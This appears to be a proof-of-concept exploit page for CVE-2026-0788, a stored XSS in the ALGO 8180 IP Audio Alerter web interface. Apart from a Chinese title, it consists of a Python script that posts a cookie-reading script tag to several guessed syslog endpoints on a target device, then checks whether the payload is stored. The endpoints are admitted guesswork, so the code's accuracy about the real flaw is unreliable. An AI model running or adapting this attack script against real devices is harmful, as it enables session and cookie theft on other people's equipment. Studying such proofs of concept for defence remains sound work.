CVE-2026-0788: ALGO 8180 IP Audio Alerter Web UI存储型XSS漏洞

import requests # CVE-2026-0788 PoC - ALGO 8180 IP Audio Alerter Stored XSS # Target: ALGO 8180 IP Audio Alerter Web UI syslog function target_ip = "192.168.1.100" # Replace with target device IP target_port = 80 # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Method 1: Inject via syslog functionality # Note: Actual exploitation requires identifying the specific syslog injection endpoint def inject_xss_payload(): """ Attempt to inject XSS payload into syslog The actual endpoint and parameter names need to be identified through enumeration Common endpoints might include: - /cgi-bin/syslog - /log/syslog - /admin/syslog """ endpoints = [ "/cgi-bin/syslog", "/log/syslog", "/admin/syslog", "/api/syslog" ] for endpoint in endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "message": xss_payload, "source": "PoC-Test" } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[*] Sent payload to {url} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error targeting {url}: {e}") # Method 2: Verify XSS exists by checking syslog page def verify_xss(): """ Verify if the XSS payload is reflected in the syslog page """ syslog_url = f"http://{target_ip}:{target_port}/cgi-bin/syslog" try: response = requests.get(syslog_url, timeout=5) if xss_payload in response.text: print("[+] XSS vulnerability confirmed - Payload stored in syslog") return True else: print("[-] XSS payload not found in response") return False except requests.exceptions.RequestException as e: print(f"[!] Error verifying XSS: {e}") return False if __name__ == "__main__": print("[*] CVE-2026-0788 PoC - ALGO 8180 Stored XSS") print("[*] Note: Authentication may be required depending on configuration") # Uncomment to execute # inject_xss_payload() # verify_xss()